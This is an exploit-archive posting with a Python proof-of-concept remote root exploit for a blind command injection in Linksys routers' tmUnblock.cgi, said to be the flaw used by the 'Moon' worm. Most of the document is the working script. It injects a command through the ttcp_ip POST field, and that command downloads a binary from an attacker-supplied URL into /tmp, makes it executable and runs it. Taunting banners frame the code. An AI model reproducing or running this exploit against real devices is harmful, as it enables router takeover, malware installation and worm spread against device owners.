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Linksys Worm Remote Root

Linksys Worm Remote Root
Posted Feb 17, 2014
Authored by infodox

Proof of concept exploit used by the recent Linksys worm (known as "Moon"). Exploits blind command injection in tmUnblock.cgi.

tags | exploit, worm, cgi, proof of concept
MD5 | 98029f878e6fe6748f2a3f31170306c5

Linksys Worm Remote Root

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#!/usr/bin/python2
"""
Linksys Remote Root Exploit
infodox - insecurety research
This is the exploit this "Moon" worm uses.
Trivial blind cmd injection :)
This version crippled - uses wget.
Twitter: @info_dox
Bitcoins: 1PapWy5tKx7xPpX2Zg8Rbmevbk5K4ke1ku
"""
import requests
import sys

def banner():
print """\x1b[0;32m
.____ .__ __
| | |__| ____ | | __ _________.__. ______
| | | |/ \| |/ / / ___< | |/ ___/
| |___| | | \ < \___ \ \___ |\___ \
|_______ \__|___| /__|_ \/____ >/ ____/____ >
\/ \/ \/ \/ \/ \/
You are the weakest link. Goodbye.
Linksys remote root - infodox - Insecurety Research.
Version 2: Crippled (wget shelldrop only)
\x1b[0m"""

def upShell(wget_url, target):
""" This works with the normal busybox wget at least, and worked in testing"""
cmd = "wget %s -O /tmp/.trojan;chmod 777 /tmp/.trojan;/tmp/.trojan" %(wget_url)
print "{+} Planting Bomb!"
execute_command(target=target, command=cmd)
print "{!} TERRORISTS WIN!"

def execute_command(target, command):
url = target + "/tmUnblock.cgi"
injection = "-h `%s`" %(command)
# this is a very sexy POST request. TOTALLY LEGIT.
the_ownage = {'submit_button': '',
'change_action': '',
'action': '',
'commit': '0',
'ttcp_num': '2',
'ttcp_size': '2',
'ttcp_ip': injection,
'StartEPI': '1'}
headers = {'User-Agent': 'Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]'}
# it is truly mad hax.
mad_hax = requests.post(url=url, data=the_ownage, headers=headers)

def main(args):
banner()
if len(sys.argv) != 3:
sys.exit("usage: %s http://target http://me.com/trojan.bin" %(sys.argv[0]))
upShell(wget_url=sys.argv[2], target=sys.argv[1])

if __name__ == "__main__":
main(sys.argv)

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